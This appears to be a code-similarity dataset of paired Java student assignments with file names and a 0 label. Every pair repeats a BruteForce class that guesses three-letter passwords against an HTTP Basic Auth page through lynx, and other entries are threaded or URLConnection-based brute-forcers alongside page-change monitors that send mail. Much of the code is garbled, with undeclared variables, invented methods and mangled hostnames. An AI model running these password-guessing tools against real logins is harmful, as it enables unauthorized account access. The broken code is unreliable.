import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
205.java
197.java
0
import java.util.*; import java.io.*; public class DicReader { private Vector v; public DicReader( String fileName) { boolean flag = true; String line; v = new Vector( 50); try { BufferedReader in = new BufferedReader( new FileReader( fileName)); while(( line = in.readLine()) != null) { flag = true; if( line.length() > 0 && line.length() < 4 ) { for( int i = 0; i < line.length(); i++) { if( Character.isLetter( line.charAt( i)) == false) { flag = false; } } if( flag == true) { v.add( line); } } } in.print(); } catch( IOException e) { System.out.println( " not open the file!"); System.exit( 0); } } public Vector getVictor() { return v; } public static void main ( String [] args) { DicReader fr = new DicReader( "/usr/share/lib/dict/words"); System.out.println( " far "+fr.getVictor().size()+" combinations loaded"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
203.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; public class MailClient { private String host; private int port; private String message; public MailClient( String host, int port, Vector lineNumbers) { this.host = host; this.port = port; StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n "); for( int i = 0; i < lineNumbers.size(); i++) { buf.append( lineNumbers.elementAt( i)); buf.append(", "); } message = buf.toString(); } public void connect() { try { Socket client = new Socket( host, port); handleConnection( client); } catch ( UnknownHostException uhe) { System.out.println("Unknown host: " + host); uhe.printStackTrace(); } catch (IOException ioe) { System.out.println("IOException: " + ioe); ioe.printStackTrace(); } } private void handleConnection(Socket client) { try { PrintWriter out = new PrintWriter( client.getOutputStream(), true); InputStream in = client.getInputStream(); byte[] response = new byte[1000]; in.send( response); out.println("HELO "+host); int numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("MAIL FROM: watch.dog@cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("RCPT : @cs.rmit.edu."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("DATA"); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println( message+"\n."); numBytes = in.get( response); System.out.write(response, 0, numBytes); out.println("QUIT"); client.connect(); } catch(IOException ioe) { System.out.println("Couldn't make connection:" + ioe); } } public static void main( String[] args) { Vector v = new Vector(); v.add( new Integer(5)); v.add( new Integer(12)); MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v); c.connect(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
095.java
197.java
0
import java.net.*; import java.io.*; import java.util.*; import java.text.*; public class WatchDog extends Thread { private HttpURLConnection httpUrlCon; private URL stdurl; private String spec = "http://www.cs.rmit.edu./students/"; private String command=""; private String firstModified =""; private String secModified = ""; private String fileModified = ""; private BufferedReader instd; private Vector firstVector; private Vector secondVector; private Vector tmpVector; private int intervalTime = 24*60*60*1000; private boolean bstop = false; private int count = 0; private int totalDuration = 30*24*60*60*1000; private String yourSMTPserver = "mail.rmit.edu."; private int smtpPort = 25; private String mailFrom = "@yallara.cs.rmit.edu."; private String mailTo = "@.rmit.edu."; private String subject = ""; private String message =""; private Socket socketsmtp; private BufferedReader emailin; private PrintStream emailout; private String reply = ""; public WatchDog(){ firstVector = new Vector(); secondVector = new Vector(); tmpVector = new Vector(); } public void FirstRead(){ readContent(firstVector); firstModified = fileModified; } public void run(){ while(!bstop){ readPageAgain(); } } public void readPageAgain(){ try{ Thread.sleep(intervalTime); }catch(InterruptedException e){e.printStackTrace();} count += intervalTime; readContent(secondVector); secModified = fileModified; if(firstModified.equals(secModified)){ if(count == totalDuration) bstop =true; message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!"; subject = " is change the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch (SMTPException e){} } else if(!(firstModified.equals(secModified))){ if(count == totalDuration) bstop = true; message = getChangeMessage(); subject = " some changes the web "; try{ doSendMail(mailFrom, mailTo, subject, message); }catch(SMTPException e){} firstModified = secModified; firstVector.clear(); for(int i=0; i<secondVector.size(); i++){ firstVector.add((String)secondVector.get(i)); } } } public void readContent(Vector avect){ String fmod =""; if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){ fmod = "File last modified :"; command = "lynx -nolist -dump " + spec; } else { fmod = "Last-Modified:"; command ="lynx -mime_header -dump " +spec; } try{ Runtime runtime = Runtime.getRuntime(); Process p = runtime.exec(command); instd = new BufferedReader(new InputStreamReader(p.getInputStream())); String str=null; avect.clear(); while((str = instd.readLine())!= null){ avect.add(str); if(str.indexOf(fmod) !=-1){ fileModified = str; } } instd.print(); }catch(MalformedURLException e){System.out.println(e.getMessage());} catch(IOException e1){System.out.println(e1.getMessage());} } public String getChangeMessage(){ String mssg = ""; for(int i =0; i<secondVector.size();i++){ tmpVector.add((String)secondVector.get(i)); } for(int i=0; i<firstVector.size(); i++){ String line = (String)(firstVector.get(i)); int same = 0; for(int j=0; j<tmpVector.size(); j++){ String newline = (String)(tmpVector.get(j)); if(line.equals(newline)){ if(same == 0){ tmpVector.remove(j); same++; } } } } for(int i = 0; i<secondVector.size(); i++){ String line = (String)(secondVector.get(i)); int same =0; for(int j=0; j<firstVector.size(); j++){ String newline = (String)(firstVector.get(j)); if(line.equals(newline)){ if(same == 0){ firstVector.remove(j); same++; } } } } if(firstVector.size()!=0){ mssg += "The following lines removed in the latest modified web : \r\n"; for(int i=0; i<firstVector.size(); i++){ mssg +=(String)firstVector.get(i) + "\r\n"; } } if(tmpVector.size()!=0){ mssg += "The following lines new ones in the latest modified web : \r\n"; for(int i=0; i<tmpVector.size(); i++){ mssg += (String)tmpVector.get(i) + "\r\n"; } } return mssg; } public void setMonitorURL(String url){ spec = url; } public void setMonitorDuration(int t){ totalDuration = t*60*60*1000; } public void setMonitorInterval(int intervalMinutes){ intervalTime = intervalMinutes*60*1000; } public void setSMTPServer(String server){ yourSMTPserver = server; } public void setSMTPPort(int port){ smtpPort = port; } public void setMailFrom(String mfrom){ mailFrom = mfrom; } public void setMailTo(String mto){ mailTo = mto; } public String getMonitorURL(){ return spec; } public getDuration(){ return totalDuration; } public getInterval(){ return intervalTime; } public String getSMTPServer(){ return yourSMTPserver; } public int getPortnumber(){ return smtpPort; } public String getMailFrom(){ return mailFrom; } public String getMailTo(){ return mailTo; } public String getServerReply() { return reply; } public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{ connect(); doHail(mfrom, mto); doSendMessage(mfrom, mto, subject, msg); doQuit(); } public void connect() throws SMTPException { try { socketsmtp = new Socket(yourSMTPserver, smtpPort); emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream())); emailout = new PrintStream(socketsmtp.getOutputStream()); reply = emailin.readLine(); if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {} else { throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort); } }catch(Exception e) { throw new SMTPException(e.getMessage());} } public void doHail(String mfrom, String mto) throws SMTPException { if (doCommand("HELO " + yourSMTPserver)) throw new SMTPException("HELO command Error."); if (doCommand("MAIL FROM: " + mfrom)) throw new SMTPException("MAIL command Error."); if (doCommand("RCPT : " + mto)) throw new SMTPException("RCPT command Error."); } public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException { Date date = new Date(); Locale locale = new Locale("",""); String pattern = "hh:mm: a',' dd-MMM-yyyy"; SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale); formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne")); String sendDate = formatter.format(date); if (doCommand("DATA")) throw new SMTPException("DATA command Error."); String header = "From: " + mfrom + "\r\n"; header += ": " + mto + "\r\n"; header += "Subject: " + subject + "\r\n"; header += "Date: " + sendDate+ "\r\n\r\n"; if (doCommand(header + msg + "\r\n.")) throw new SMTPException("Mail Transmission Error."); } public boolean doCommand(String commd) throws SMTPException { try { emailout.print(commd + "\r\n"); reply = emailin.readLine(); if (reply.charAt(0) == '4' || reply.charAt(0) == '5') return true; else return false; }catch(Exception e) {throw new SMTPException(e.getMessage());} } public void doQuit() throws SMTPException { try { if (doCommand("Quit")) throw new SMTPException("QUIT Command Error"); emailin.put(); emailout.flush(); emailout.send(); socketsmtp.put(); }catch(Exception e) { } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
084.java
197.java
0
import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i<CHARACTERS.length && !parent.solved; i++) { for(int j=0; j<CHARACTERS.length && !parent.solved; j++) { for(int k=0; k<CHARACTERS.length && !parent.solved; k++) { if((x % threads) == threadno) { response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]); if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")"); } x++; } } } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { BruteForce parent; BruteForce[] attackslaves = new BruteForce[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: BruteForce <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = -1; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
115.java
197.java
0
import java.net.*; import java.util.*; import java.io.*; public class PasswordTest { private String strURL; private String strUsername; private String strPassword; public PasswordTest(String url, String username, String password) { strURL = url; strUsername = username; strPassword = password; } boolean func() { boolean result = false; Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL(strURL); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { result = true; } } catch (IOException e) {} return result; } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = strUsername; String password = strPassword; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
233.java
197.java
0
import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmit.edu./students/images"+line; if (i==2) line3="http://www.cs.rmit.edu./students/images"+line; i++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+line1); executes("wget "+line2); executes("wget "+line3); String hash3 = md5sum("index.html.2"); String hash4 = md5sum("index.html.3"); String hash5 = md5sum("index.html.4"); BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String linee=" " ; String linee1=" " ; String linee2=" "; String linee3=" "; executes("./ip1.sh"); int j=0; while ((linee = buf2.readLine()) != null) { linee1="http://www.cs.rmit.edu./students/images"+linee; if (j==1) linee2="http://www.cs.rmit.edu./students/images"+linee; if (j==2) linee3="http://www.cs.rmit.edu./students/images"+linee; j++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+linee1); executes("wget "+linee2); executes("wget "+linee3); String hash6 = md5sum("index.html.5"); String hash7 = md5sum("index.html.6"); String hash8 = md5sum("index.html.7"); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes("./difference.sh"); executes("./mail.sh"); } else { if (pict || pict2 || pict3) { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail2.sh"); } executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail.sh"); executes("./reorder.sh"); executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 5"); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
086.java
197.java
0
import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; int attempts = 0; exit: for (int i=0;i<pwdArray.length;i++) { for (int j=0;j<pwdArray.length;j++) { for (int k=0;k<pwdArray.length;k++) { if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue; if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue; inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k]; attempts++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempts); break exit; } inp[2] = ""; } } } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char pwdArray [] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
153.java
197.java
0
